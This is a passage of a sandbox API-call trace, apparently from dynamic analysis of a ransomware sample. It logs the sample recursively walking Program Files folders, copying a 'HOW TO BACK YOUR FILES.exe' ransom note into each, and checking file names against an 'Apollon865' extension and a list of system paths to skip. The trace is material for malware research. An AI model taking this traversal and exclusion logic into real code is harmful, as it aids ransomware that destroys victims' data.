	[0054.291] lstrcmpiW (lpString1="msolui100.rll", lpString2=".dll") returned 1
	[0054.292] lstrlenW (lpString=".lnk") returned 4
	[0054.292] lstrcmpiW (lpString1="msolui100.rll", lpString2=".lnk") returned 1
	[0054.292] lstrlenW (lpString=".ini") returned 4
	[0054.292] lstrcmpiW (lpString1="msolui100.rll", lpString2=".ini") returned 1
	[0054.292] lstrlenW (lpString=".sys") returned 4
	[0054.292] lstrcmpiW (lpString1="msolui100.rll", lpString2=".sys") returned 1
	[0054.292] lstrlenW (lpString="msolui100.rll") returned 13
	[0054.292] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges"
	[0054.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0054.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0054.292] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned 73
	[0054.292] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges"
	[0054.292] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.292] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.298] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.298] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x386fa4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386fa4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.298] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.298] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.298] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.298] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x386fa4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386fa4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.298] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.298] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.298] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.298] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.298] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="Apollon865.txt.exe") returned 1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2=".") returned 1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="..") returned 1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="windows") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="bootmgr") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="temp") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="pagefile.sys") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="boot") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="ids.txt") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="ntuser.dat") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="perflogs") returned -1
	[0054.298] lstrcmpiW (lpString1="as80.xsl", lpString2="MSBuild") returned -1
	[0054.298] lstrlenW (lpString="as80.xsl") returned 8
	[0054.298] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned 75
	[0054.298] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="as80.xsl" | out: lpString1="as80.xsl") returned="as80.xsl"
	[0054.298] lstrlenW (lpString="as80.xsl") returned 8
	[0054.298] lstrlenW (lpString="Apollon865") returned 10
	[0054.298] lstrlenW (lpString=".dll") returned 4
	[0054.299] lstrcmpiW (lpString1="as80.xsl", lpString2=".dll") returned 1
	[0054.299] lstrlenW (lpString=".lnk") returned 4
	[0054.299] lstrcmpiW (lpString1="as80.xsl", lpString2=".lnk") returned 1
	[0054.299] lstrlenW (lpString=".ini") returned 4
	[0054.299] lstrcmpiW (lpString1="as80.xsl", lpString2=".ini") returned 1
	[0054.299] lstrlenW (lpString=".sys") returned 4
	[0054.299] lstrcmpiW (lpString1="as80.xsl", lpString2=".sys") returned 1
	[0054.299] lstrlenW (lpString="as80.xsl") returned 8
	[0054.299] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="as90.xsl" | out: lpString1="as90.xsl") returned="as90.xsl"
	[0054.299] lstrlenW (lpString="as90.xsl") returned 8
	[0054.299] lstrlenW (lpString="Apollon865") returned 10
	[0054.299] lstrlenW (lpString=".dll") returned 4
	[0054.299] lstrcmpiW (lpString1="as90.xsl", lpString2=".dll") returned 1
	[0054.299] lstrlenW (lpString=".lnk") returned 4
	[0054.299] lstrcmpiW (lpString1="as90.xsl", lpString2=".lnk") returned 1
	[0054.299] lstrlenW (lpString=".ini") returned 4
	[0054.299] lstrcmpiW (lpString1="as90.xsl", lpString2=".ini") returned 1
	[0054.299] lstrlenW (lpString=".sys") returned 4
	[0054.299] lstrcmpiW (lpString1="as90.xsl", lpString2=".sys") returned 1
	[0054.299] lstrlenW (lpString="as90.xsl") returned 8
	[0054.299] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Informix.xsl" | out: lpString1="Informix.xsl") returned="Informix.xsl"
	[0054.299] lstrlenW (lpString="Informix.xsl") returned 12
	[0054.299] lstrlenW (lpString="Apollon865") returned 10
	[0054.299] lstrcmpiW (lpString1="formix.xsl", lpString2="Apollon865") returned 1
	[0054.299] lstrlenW (lpString=".dll") returned 4
	[0054.299] lstrcmpiW (lpString1="Informix.xsl", lpString2=".dll") returned 1
	[0054.299] lstrlenW (lpString=".lnk") returned 4
	[0054.299] lstrcmpiW (lpString1="Informix.xsl", lpString2=".lnk") returned 1
	[0054.299] lstrlenW (lpString=".ini") returned 4
	[0054.299] lstrcmpiW (lpString1="Informix.xsl", lpString2=".ini") returned 1
	[0054.300] lstrlenW (lpString=".sys") returned 4
	[0054.300] lstrcmpiW (lpString1="Informix.xsl", lpString2=".sys") returned 1
	[0054.300] lstrlenW (lpString="Informix.xsl") returned 12
	[0054.300] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="msjet.xsl" | out: lpString1="msjet.xsl") returned="msjet.xsl"
	[0054.300] lstrlenW (lpString="msjet.xsl") returned 9
	[0054.300] lstrlenW (lpString="Apollon865") returned 10
	[0054.300] lstrlenW (lpString=".dll") returned 4
	[0054.300] lstrcmpiW (lpString1="msjet.xsl", lpString2=".dll") returned 1
	[0054.300] lstrlenW (lpString=".lnk") returned 4
	[0054.300] lstrcmpiW (lpString1="msjet.xsl", lpString2=".lnk") returned 1
	[0054.300] lstrlenW (lpString=".ini") returned 4
	[0054.300] lstrcmpiW (lpString1="msjet.xsl", lpString2=".ini") returned 1
	[0054.300] lstrlenW (lpString=".sys") returned 4
	[0054.300] lstrcmpiW (lpString1="msjet.xsl", lpString2=".sys") returned 1
	[0054.300] lstrlenW (lpString="msjet.xsl") returned 9
	[0054.300] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="sql2000.xsl" | out: lpString1="sql2000.xsl") returned="sql2000.xsl"
	[0054.300] lstrlenW (lpString="sql2000.xsl") returned 11
	[0054.300] lstrlenW (lpString="Apollon865") returned 10
	[0054.300] lstrcmpiW (lpString1="ql2000.xsl", lpString2="Apollon865") returned 1
	[0054.300] lstrlenW (lpString=".dll") returned 4
	[0054.300] lstrcmpiW (lpString1="sql2000.xsl", lpString2=".dll") returned 1
	[0054.300] lstrlenW (lpString=".lnk") returned 4
	[0054.300] lstrcmpiW (lpString1="sql2000.xsl", lpString2=".lnk") returned 1
	[0054.300] lstrlenW (lpString=".ini") returned 4
	[0054.300] lstrcmpiW (lpString1="sql2000.xsl", lpString2=".ini") returned 1
	[0054.300] lstrlenW (lpString=".sys") returned 4
	[0054.300] lstrcmpiW (lpString1="sql2000.xsl", lpString2=".sys") returned 1
	[0054.300] lstrlenW (lpString="sql2000.xsl") returned 11
	[0054.300] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="sql70.xsl" | out: lpString1="sql70.xsl") returned="sql70.xsl"
	[0054.300] lstrlenW (lpString="sql70.xsl") returned 9
	[0054.301] lstrlenW (lpString="Apollon865") returned 10
	[0054.301] lstrlenW (lpString=".dll") returned 4
	[0054.301] lstrcmpiW (lpString1="sql70.xsl", lpString2=".dll") returned 1
	[0054.301] lstrlenW (lpString=".lnk") returned 4
	[0054.301] lstrcmpiW (lpString1="sql70.xsl", lpString2=".lnk") returned 1
	[0054.301] lstrlenW (lpString=".ini") returned 4
	[0054.301] lstrcmpiW (lpString1="sql70.xsl", lpString2=".ini") returned 1
	[0054.301] lstrlenW (lpString=".sys") returned 4
	[0054.301] lstrcmpiW (lpString1="sql70.xsl", lpString2=".sys") returned 1
	[0054.301] lstrlenW (lpString="sql70.xsl") returned 9
	[0054.301] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="sql90.xsl" | out: lpString1="sql90.xsl") returned="sql90.xsl"
	[0054.301] lstrlenW (lpString="sql90.xsl") returned 9
	[0054.301] lstrlenW (lpString="Apollon865") returned 10
	[0054.301] lstrlenW (lpString=".dll") returned 4
	[0054.301] lstrcmpiW (lpString1="sql90.xsl", lpString2=".dll") returned 1
	[0054.301] lstrlenW (lpString=".lnk") returned 4
	[0054.301] lstrcmpiW (lpString1="sql90.xsl", lpString2=".lnk") returned 1
	[0054.301] lstrlenW (lpString=".ini") returned 4
	[0054.301] lstrcmpiW (lpString1="sql90.xsl", lpString2=".ini") returned 1
	[0054.301] lstrlenW (lpString=".sys") returned 4
	[0054.301] lstrcmpiW (lpString1="sql90.xsl", lpString2=".sys") returned 1
	[0054.301] lstrlenW (lpString="sql90.xsl") returned 9
	[0054.301] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Sybase.xsl" | out: lpString1="Sybase.xsl") returned="Sybase.xsl"
	[0054.301] lstrlenW (lpString="Sybase.xsl") returned 10
	[0054.301] lstrlenW (lpString="Apollon865") returned 10
	[0054.301] lstrlenW (lpString=".dll") returned 4
	[0054.301] lstrcmpiW (lpString1="Sybase.xsl", lpString2=".dll") returned 1
	[0054.301] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java"
	[0054.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca2d0 | out: hHeap=0x580000) returned 1
	[0054.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0054.302] lstrlenW (lpString="C:\\Program Files (x86)\\Java") returned 27
	[0054.302] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java" | out: lpString1="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java"
	[0054.302] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.302] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.307] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.307] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x386fa4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386fa4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.307] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.307] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.307] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.307] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x386fa4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386fa4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.307] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.307] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.307] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.307] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.307] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c25750, ftCreationTime.dwHighDateTime=0x1d52c37, ftLastAccessTime.dwLowDateTime=0xc2a0440, ftLastAccessTime.dwHighDateTime=0x1d50c43, ftLastWriteTime.dwLowDateTime=0xc2a0440, ftLastWriteTime.dwHighDateTime=0x1d50c43, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="anatomy-sn.exe", cAlternateFileName="ANATOM~1.EXE")) returned 1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="Apollon865.txt.exe") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2=".") returned 1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="..") returned 1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="windows") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="bootmgr") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="temp") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="pagefile.sys") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="boot") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="ids.txt") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="ntuser.dat") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="perflogs") returned -1
	[0054.307] lstrcmpiW (lpString1="anatomy-sn.exe", lpString2="MSBuild") returned -1
	[0054.307] lstrlenW (lpString="anatomy-sn.exe") returned 14
	[0054.307] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\*") returned 29
	[0054.308] lstrcpyW (in: lpString1=0x2d3e588, lpString2="anatomy-sn.exe" | out: lpString1="anatomy-sn.exe") returned="anatomy-sn.exe"
	[0054.308] lstrlenW (lpString="anatomy-sn.exe") returned 14
	[0054.308] lstrlenW (lpString="Apollon865") returned 10
	[0054.308] lstrcmpiW (lpString1="omy-sn.exe", lpString2="Apollon865") returned 1
	[0054.308] lstrcpyW (in: lpString1=0x2d3e588, lpString2="jre7" | out: lpString1="jre7") returned="jre7"
	[0054.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0054.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdf78
	[0054.308] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0054.308] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ef8680, ftCreationTime.dwHighDateTime=0x1d50852, ftLastAccessTime.dwLowDateTime=0x786a5e90, ftLastAccessTime.dwHighDateTime=0x1d4fa58, ftLastWriteTime.dwLowDateTime=0x786a5e90, ftLastWriteTime.dwHighDateTime=0x1d4fa58, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mountains.exe", cAlternateFileName="MOUNTA~1.EXE")) returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="Apollon865.txt.exe") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2=".") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="..") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="windows") returned -1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="bootmgr") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="temp") returned -1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="pagefile.sys") returned -1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="boot") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="ids.txt") returned 1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="ntuser.dat") returned -1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="perflogs") returned -1
	[0054.308] lstrcmpiW (lpString1="mountains.exe", lpString2="MSBuild") returned -1
	[0054.308] lstrlenW (lpString="mountains.exe") returned 13
	[0054.308] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7") returned 32
	[0054.308] lstrcpyW (in: lpString1=0x2d3e588, lpString2="mountains.exe" | out: lpString1="mountains.exe") returned="mountains.exe"
	[0054.308] lstrlenW (lpString="mountains.exe") returned 13
	[0054.308] lstrlenW (lpString="Apollon865") returned 10
	[0054.308] lstrcmpiW (lpString1="ntains.exe", lpString2="Apollon865") returned 1
	[0054.308] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7"
	[0054.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0054.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0054.309] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7") returned 32
	[0054.309] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7"
	[0054.309] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.309] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.313] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.313] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38720650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38720650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.313] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.313] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.313] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.313] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38720650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38720650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.313] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.313] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.313] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.313] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.313] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="Apollon865.txt.exe") returned 1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2=".") returned 1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="..") returned 1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="windows") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="bootmgr") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="temp") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="pagefile.sys") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="boot") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="ids.txt") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="ntuser.dat") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="perflogs") returned -1
	[0054.313] lstrcmpiW (lpString1="bin", lpString2="MSBuild") returned -1
	[0054.313] lstrlenW (lpString="bin") returned 3
	[0054.314] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\*") returned 34
	[0054.314] lstrcpyW (in: lpString1=0x2d3e592, lpString2="bin" | out: lpString1="bin") returned="bin"
	[0054.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0054.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc9b8
	[0054.314] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0054.314] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="Apollon865.txt.exe") returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".") returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="..") returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="windows") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="bootmgr") returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="temp") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="pagefile.sys") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="boot") returned 1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="ids.txt") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="ntuser.dat") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="perflogs") returned -1
	[0054.314] lstrcmpiW (lpString1="COPYRIGHT", lpString2="MSBuild") returned -1
	[0054.314] lstrlenW (lpString="COPYRIGHT") returned 9
	[0054.314] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin") returned 36
	[0054.314] lstrcpyW (in: lpString1=0x2d3e592, lpString2="COPYRIGHT" | out: lpString1="COPYRIGHT") returned="COPYRIGHT"
	[0054.314] lstrlenW (lpString="COPYRIGHT") returned 9
	[0054.314] lstrlenW (lpString="Apollon865") returned 10
	[0054.314] lstrcpyW (in: lpString1=0x2d3e592, lpString2="lib" | out: lpString1="lib") returned="lib"
	[0054.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
